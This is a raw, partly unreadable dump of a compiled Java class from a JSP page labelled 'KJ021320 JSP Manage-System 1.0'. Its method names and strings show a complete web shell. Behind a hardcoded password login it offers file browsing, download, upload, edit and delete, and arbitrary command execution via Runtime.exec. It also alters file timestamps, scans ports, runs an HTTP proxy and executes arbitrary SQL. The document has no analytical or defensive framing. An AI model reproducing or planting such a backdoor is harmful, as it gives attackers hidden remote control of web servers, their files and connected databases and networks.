2uorg/apache/jsp/funcspecs/_4_jsp%org/apache/jasper/runtime/HttpJspBase,org/apache/jasper/runtime/JspSourceDependentAPP_NAMELjava/lang/String; ConstantValue KJ021320 JSP Manage-System 1.0 portListenI openHttpProxyZ _jspxFactoryLjavax/servlet/jsp/JspFactory;_jspx_dependantsLjava/util/Map; Signature3Ljava/util/Map;_el_expressionfactoryLjavax/el/ExpressionFactory;_jsp_instancemanager#Lorg/apache/tomcat/InstanceManager;()VCode  javax/servlet/jsp/JspFactory !"getDefaultFactory ()Ljavax/servlet/jsp/JspFactory; $ LineNumberTableLocalVariableTable ) ' +  - / this!Lorg/apache/jsp/funcspecs/_4_jsp;mainForm2(Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V Exceptions6java/lang/Exception84 :<;javax/servlet/jsp/JspWriter =>print(Ljava/lang/String;)V@b
B%DGF0
FilePath:Hjava/lang/StringBuilderJ/ GN OPappend-(Ljava/lang/String;)Ljava/lang/StringBuilder;R' onchange='checkUrl();'> GT UVtoString()Ljava/lang/String;X'Z!\LGOtoLink^5
`ad1h
web_SiteoutLjavax/servlet/jsp/JspWriter;mainMenu2(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)Vo :q r>printlnt'|;8888s
v wxico(I)Ljava/lang/String;z'FileOperation(File.class)
WEB Folder
&SystemInfo(System.class)
ServletInfo
SystemTools
Interfaces
About nonamed(kj021320)
 showFiles java/io/File L  isDirectory()Z exists  listFiles()[Ljava/io/File; length()JG
nametypesizemodify datereadonlycan writehiddenAction
VgetName DIR  getSize(J)Ljava/lang/String; java/util/Date  lastModified '(J)V G O-(Ljava/lang/Object;)Ljava/lang/StringBuilder; canRead G O(Z)Ljava/lang/StringBuilder; canWrite isHidden   fOperation'(ZLjava/lang/String;)Ljava/lang/String;
 file this folder size:pathfileLjava/io/File;maxSizeJf[Ljava/io/File;i StackMapTablejava/lang/StringshowSystemInfo (Ljavax/servlet/jsp/JspWriter;)V java/lang/System  getProperties()Ljava/util/Properties;  java/util/Map keySet()Ljava/util/Set;  java/util/Set iterator()Ljava/util/Iterator;
System Property info:
      java/util/Iterator   next()Ljava/lang/Object;
  •  [  get&(Ljava/lang/Object;)Ljava/lang/Object; ]  hasNext

System CPU : java/lang/Runtime  ! getRuntime()Ljava/lang/Runtime; # $%availableProcessors()I ' (xvalueOf*
,the JVM Free Memory : . / freeMemory1
the JVM Max Memory : 3 4 maxMemorymapsetLjava/util/Set;itLjava/util/Iterator;oNameLjava/lang/Object; servletInfo=(Ljavax/servlet/ServletConfig;Ljavax/servlet/jsp/JspWriter;)V ?A@javax/servlet/ServletConfig BCgetServletContext ()Ljavax/servlet/ServletContext;E Server info: GIHjavax/servlet/ServletContext JV getServerInfoL
NServletContext name: GP QVgetServletContextNameSMajor version : GU V%getMajorVersion GX OY(I)Ljava/lang/StringBuilder;[Minor version : G] ^%getMinorVersion G` abgetInitParameterNames()Ljava/util/Enumeration;dinit parameter:
fhgjava/util/Enumeration i  nextElementkkey:m value: Go pgetInitParameter fr shasMoreElementsconfigLjavax/servlet/ServletConfig;scLjavax/servlet/ServletContext;enLjava/util/Enumeration;initInfonamedownFile=(Ljava/lang/String;Ljavax/servlet/http/HttpServletResponse;)V  getBytes()[B ISO-8859-1  '([BLjava/lang/String;)V &javax/servlet/http/HttpServletResponse resetContent-dispositionattachment;filename=""   setHeader'(Ljava/lang/String;Ljava/lang/String;)V  getOutputStream%()Ljavax/servlet/ServletOutputStream;java/io/BufferedInputStreamjava/io/FileInputStream L  '(Ljava/io/InputStream;)V !javax/servlet/ServletOutputStream write([BII)V  read([BII)I  close  flush   flushBufferfilenameres(Ljavax/servlet/http/HttpServletResponse;wbuffer[BboutFilesos#Ljavax/servlet/ServletOutputStream;bisLjava/io/BufferedInputStream;java/lang/Throwable deleteFile  delete  (&(Ljava/lang/Object;)Ljava/lang/String;delete success...file not find!! renameFile|  indexOf(Ljava/lang/String;)I  x substring  (II)Ljava/lang/String;  renameTo(Ljava/io/File;)Z file move successsplit newFilenamecopyFilejava/io/BufferedOutputStreamjava/io/FileOutputStream L  '(Ljava/io/OutputStream;)V  (I)V  %file copy error file copy successbosLjava/io/BufferedOutputStream;seditFilejava/io/IOException
File Path:.iN5
brLjava/io/BufferedReader;saveFile4(Ljava/lang/String;[BLjavax/servlet/jsp/JspWriter;)V 'file save success)Error fileContent dateChangeh(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)V .0/java/util/Calendar 12 getInstance()Ljava/util/Calendar; 465java/lang/Integer 7parseInt .9 6:(III)V .< =getTimeInMillis ? @AsetLastModified(J)ZCfile date change successEfile date change errorGfile not find!!!yearmonthdaycalendarLjava/util/Calendar;execFile O PQexec'(Ljava/lang/String;)Ljava/lang/Process; SUTjava/lang/Process VWgetInputStream()Ljava/io/InputStream;YGB2312[$ h i systemToolsrtLjava/lang/Runtime;psLjava/lang/Process;isrLjava/io/InputStreamReader;bufferC[CqzipD(Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)Vvjava/util/zip/ZipOutputStream u y z{zipEntryX(Ljava/util/zip/ZipOutputStream;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V}file zip error uzip okzipPathsrcPathoutputLjava/io/FileOutputStream; zipOutputLjava/util/zip/ZipOutputStream;  list()[Ljava/lang/String;   separator/   lastIndexOfjava/util/zip/ZipEntry L  equals(Ljava/lang/Object;)Z  setSize  setTime  setCrcjava/util/zip/CRC32 )  u  putNextEntry(Ljava/util/zip/ZipEntry;)V u  update    getValuezipOsinitPathfilePath entryNamefiles[Ljava/lang/String;chPhidxentryLjava/util/zip/ZipEntry;ffcrcLjava/util/zip/CRC32;len bufferLeninputLjava/io/FileInputStream;upfileY(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;)V %javax/servlet/http/HttpServletRequest VgetContentType  V$()Ljavax/servlet/ServletInputStream;  9([BLjavax/servlet/ServletInputStream;Ljava/lang/String;)Iupload success! upload errorrequest'Ljavax/servlet/http/HttpServletRequest;boundarysis"Ljavax/servlet/ServletInputStream;line javax/servlet/ServletInputStream    '  jLjava/io/PrintStream; qjava/io/PrintStreamlineByteservletInputstreamendStrstr newFolder  mkdirsthe folder create success!the folder create error foldername reflectAPI java/lang/Class forName%(Ljava/lang/String;)Ljava/lang/Class;   getInterfaces()[Ljava/lang/Class;   getSuperclass()Ljava/lang/Class; T   getDeclaredConstructors"()[Ljava/lang/reflect/Constructor;    getDeclaredFields()[Ljava/lang/reflect/Field;  getDeclaredMethods()[Ljava/lang/reflect/Method; ,  % getModifiers java/lang/reflect/Modifier Ux !
extends #
implemets
%"
{
Constructor:
'     )Field:
+Function:
-
} classNameclsLjava/lang/Class;ifString interfaces[Ljava/lang/Class; supperClassc [Ljava/lang/reflect/Constructor;[Ljava/lang/reflect/Field;mjava/lang/reflect/Method;3679scanPort4(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;II)VBport setup error DFEjava/net/InetAddress GH getByName*(Ljava/lang/String;)Ljava/net/InetAddress;J(org/apache/jsp/funcspecs/_4_jsp$ScanPort IL 'MY(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/net/InetAddress;IILjavax/servlet/jsp/JspWriter;)V IO Pstart RTSjava/lang/Thread Usleep strAddress startPortendPortiaLjava/net/InetAddress;pswitchProxyService^/org/apache/jsp/funcspecs/_4_jsp$RunProxyService ]` 'a%(Lorg/apache/jsp/funcspecs/_4_jsp;I)V ]Od Proxy runningf Proxy closed ConnectionDBM(Ljavax/servlet/jsp/JspWriter;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Vj#org/apache/jsp/funcspecs/_4_jsp$DBM il 'm(Lorg/apache/jsp/funcspecs/_4_jsp;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljavax/servlet/jsp/JspWriter;)VoLDB iq rlookInfo it u> executeSQL iw xcloseAlldriverurluserNamepassWord sqlActionsqlCmddbm%Lorg/apache/jsp/funcspecs/_4_jsp$DBM;h O++p/STuserInterFacesFif u want to add an function ,u can coding in 'userInterFaces'function encodeChange  (Ljava/lang/String;)[Bgb2312  replace(CC)Ljava/lang/String;folderDeleteRenamesetDateZip.')">setDateCopyEditDown@ G)java/lang/Long GMK  (Bsize&#numjava/lang/StringBuffer )  charAt(I)C<  O,(Ljava/lang/String;)Ljava/lang/StringBuffer;>   O(C)Ljava/lang/StringBuffer;  % ThtmlCodesbLjava/lang/StringBuffer;C getDependants()Ljava/util/Map;5()Ljava/util/Map;  _jsp_getExpressionFactory()Ljavax/el/ExpressionFactory;    getServletConfig()Ljavax/servlet/ServletConfig;   getJspApplicationContextI(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext;    'javax/servlet/jsp/JspApplicationContext getExpressionFactory_jsp_getInstanceManager%()Lorg/apache/tomcat/InstanceManager;   0org/apache/jasper/runtime/InstanceManagerFactory getInstanceManagerB(Ljavax/servlet/ServletConfig;)Lorg/apache/tomcat/InstanceManager;_jspInit _jspDestroy _jspServiceR(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)Vjavax/servlet/ServletException text/html;charset=gbk " #>setContentType % &'getPageContext(Ljavax/servlet/Servlet;Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;Ljava/lang/String;ZIZ)Ljavax/servlet/jsp/PageContext; )A*javax/servlet/jsp/PageContext ) )- ./ getSession"()Ljavax/servlet/http/HttpSession; )1 23getOut()Ljavax/servlet/jsp/JspWriter;5 :7 > : :<;javax/servlet/http/HttpSession =setMaxInactiveInterval G? @ getRealPath B CV getRequestURIEID :G HI getAttribute&(Ljava/lang/String;)Ljava/lang/Object;K testing012MLName O P getParameterRLPassT1 :V WX setAttribute'(Ljava/lang/String;Ljava/lang/Object;)V Z [> sendRedirect]


KJ021320 JSP Manage-System 1.0

username:
password:
_ `areleasePageContext"(Ljavax/servlet/jsp/PageContext;)Vc e gD ik� m }   Action0  lm FolderPath    m   <= Filename  |}  3  3 FileContent  #$  3  3HIJ ! +,M $ M3 & st( UPaddress *  , m . m0 IPaddressWX 4 >?y7conUrl9user;password=run?sqlcmd A gh C \ E  G 23I :L#javax/servlet/jsp/SkipPageException :N O% getBufferSize Q R isCommitted : :U V clearBuffer )X YZhandlePageException(Ljava/lang/Throwable;)V \ 'Zresponse pageContextLjavax/servlet/jsp/PageContext;session Ljavax/servlet/http/HttpSession; application _jspx_out_jspx_page_contextWEB_SITEURLusernameactiontLjava/lang/Throwable; SourceFile _4_jsp.java InnerClassesDBMp)org/apache/jsp/funcspecs/_4_jsp$HttpProxy HttpProxyRunProxyServiceScanPortSourceDebugExtension1   BB&/#%&'Q*(* **,*.% & 012345{,79,?9,A9,C9,E9,GYIK+MQMS9,W9,Y9,[9,]9,_9,a9,GYcK+MeMS9,g9%> ! "#$%7&='C(I)O*U+[,t-z.& {01{i{jklm45?+np+GYsK*:uMyMSp+GY{K*,}MM,MM*0uMMSp+GYK*5uMMSp+GYK*5uMMSp+GYK*5uMMSp+GYK*9uMMSp+p+p%* 12$3X4v56789:& 01jkim45|Y,N 7---:+p6g2a72+GYK*2}MM*0uM2MM*2MMY2ķǶM2ͶM2ӶM2ֶM*2ٶMݶMSp+GY߷K*2uM2MM*2MMY2ķǶM2ͶM2ӶM2ֶM*2ٶMݶMSp+p+GYK*MS9%:= > ?@ A&B,C9DDEGBIJL&H01jk   )o $,:&45rMN:M,N-:+p9:+GY KM,MSp+9+GY"&K)MS9+GY+K*-MS9+GY0K*2MS9%BOPQ_ `ab!c$d-eZcdgkhijk&>01jk56789--:;$5<=45+>N,GYDK-FMKMSp,GYMK-OMKMSp,GYRK-TWKMSp,GYZK-\WKMSp-_:c:,9@e:GYjKMlM-nMKMS:,9q%:no'pGqgrstuvwxyv|&H01tujkvwVxyQz1{Gf<|}45 >:Y+~:Y:,,GYKMMS,::YY+: Y> W$:  ,Y5Y%V '-NVYjmv&\ 01  'VgYd5m S5M  345:Y+N-%-ř%,GY+ȷK˶MS9 ,Ͷ9% /29&*:01::jk 1 2345_+ж>+`:+LY+:0Yܙ&,GYȷKMS9 ,Ͷ9%& "*TW^&>_01__jkW N"= W345` +ж>+`:+LY+:::YY+:YY:6 Y6;W,980:  ,GYȷKMS9 ,Ͷ90lo50w%n"%(0ASVY`lpw&\ 01jk "%(V  Y ::5L : : 34^Y+N,9,GYK+MMS9,9,9,9-F Y YY+ :: ,*pY: W,9,9G5%B +29@Gbgjt&>01jk b!"g&j  :5#$4d+,W:YY+:,,%:-GY+ȷK&MS9 -(9 ((%2  %*47AY\c&4d01dd*djk N*:  +,4 wY+:_-:,3-338;>GY+ȷKBMS9'GY+ȷKDMS9 Fp%* )6Rknv&Rw01wwHwIwJwjk mTKLR.M345 >:+N::: YRX:,Z9,*Y\9_Y>ߧ'W,b9$d:dd,e9*,gX[5cp%R*14GX\cpr|  &R01jk jklmno}pq24:S rS5T  st45=k::Y+:uYw:*,,+x'W-|9$~:~~-GYK+MS9$'5/<%: $(/<>HKUj&>k01kkkjkhe,':u5T  z{458@-:Y-:@:6**+,GY-ȷKM2MSxԱ,,`:,6 -:Y: Y-:      Ķ Y:  + 6 : 6:Y-:+      Y6 ߧ W$:   5%&  "!F Q"R$a%i&o'w*+,-.012345679:;<: >@?@(A+@5B?C&@01@@@@= 362 ai    u n i fz " u&$"LuS5M  45 +:+:::66 *6  YY-:%*6,Ӷ9'W,ն9$:  =tw5=%ZF GHIJ"K(L4K=ONQQR[SgQmUtVxWYXYZY[&f 01jk " % : ( :O5T  46,++6Y+:-W.15%& ^_ `a"b,c/e1f2g&>401444. /5m45"Y,N- +9 +9%l mnop!r&*"01"jk"  m45 F,N:-:-:-:- :-: 6 (GYȷK 2MMS:  +GYK-MM- MM"MMS9+$96 %+GY&K 2KMS9  +(96 %+GY&K 2KMS9  +*96 %+GY&K  2KMS9   +,9%fuw xyz{%|+~1S~^3>E&F01FjkF.A/0 <1623-4'56%!7+89 .0 - - - 11 ::;<=$O!!!>?45^@@ +A9,C:6IY*`+KNlhQ%& %&,2GQ]&H^01^jk^V^W ^X ,2YZ/"[   D\455**.Z.]Y**,_b+c9 +e9%#*-4&5015jkL:gh45 1iY*,-+k:n p sv% !"!#$$+&0'&\ 1011jk1y1z1{1|1}1~  $ii45O+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9+9*. +9 +9+9%j#*18?FMT[bipw~&01jk45@+9% &01jk45]+Y+%&01= +\/%& 01 IGYK*,}MM*,}MM*,}MM*,}MMSGYK*,}MM*,}MM*,}MM*,}MM*,}MM*,}MöMS%J& 01JŔ#GYǻYmʶ˶MS͔#GYǻYmʶ϶MSє#GYǻYmʶӶMSGYշK׶MS%(0PXx&01(''wxLGYڷKWܶMS%&01 aYM>6F+><,W+>,W ,W ,W+,%*  (9JP\&4a01aY W5 O .%& 017*.*YL**#*> +ç+ÿ* ,//1/% *2& 701*D**!*YL***+ç+ÿ* ""$"% %& *01D+%& 01+%& 014 = :::: ,!#*+, $N-: -(:-+:-,:-0::4646 8 8p9*>}: +A: DFpJ: J: +LNI+QN=+LN ,+QN DSU, Y \p# ^46b6d6f6h6 9j6l6n6p6r6t6v6x6z6|6~6666666666666666666666666666666666666666666666666666¶6Ķ66ƶ6ȶ6ʶ6̶6ζ6ж666Ҷ6Զ6ֶ6ض6ڶ6ܶ6޶6666666666666666+N:   6  As?+UW|A)* **+N** **+ N,# ^**+ N**+ N**+N+N**+ Nr**+ N\**+ N+N+N+N +**+"N#**+ N*+N%*+*+'N)**+ N+**+ N-**+/N+1N3+2N33**+5N*+6N*+8N*+:N*+<N*+>N@**B!*D*g* FWH9Ji:  KG:%M,P S TW   W Y [# ^:# ^# ^ CgE5pBE5 VgVpSVq gp%   !%(.4:@DLT[b!l"|#$&'*+,-.26789:&;-<5==>E?M@UA]BeCmDuE}FGHIJKLMNOPQRSTUVW XYZ%[-\5]=^E_M`Ua]becmdue}fghijklmnopqrstuvw xyz%{-|5}=~EMU]emu} %0C +AJUgop4Wn(1:BFNSX`dqz&01]%.^_`a.%bw4tujk ck d_ |e f hg c; 0# Ch XLij &):G?::)<A  $0"-VJ5 :::)+G J klm"inoq]rIstSMAP _4_jsp.java JSP *S JSP *F + 0 4.jsp funcspecs/4.jsp *L 1,3:796 4,706:26 709:798,2 711,21:801 731,4:822 735:826,3 736,130:829 *E
System class runfilepath:
file uploadfile:up to file
new filefile full name:
Create folderfolder fullname:
Reflect APIClass Name:
Scan PortIP:Start Port:End Port:
DBMDriver:URL:user:password:SqlCmd:
OpenTheHttpProxy
CloseTheHttpProxy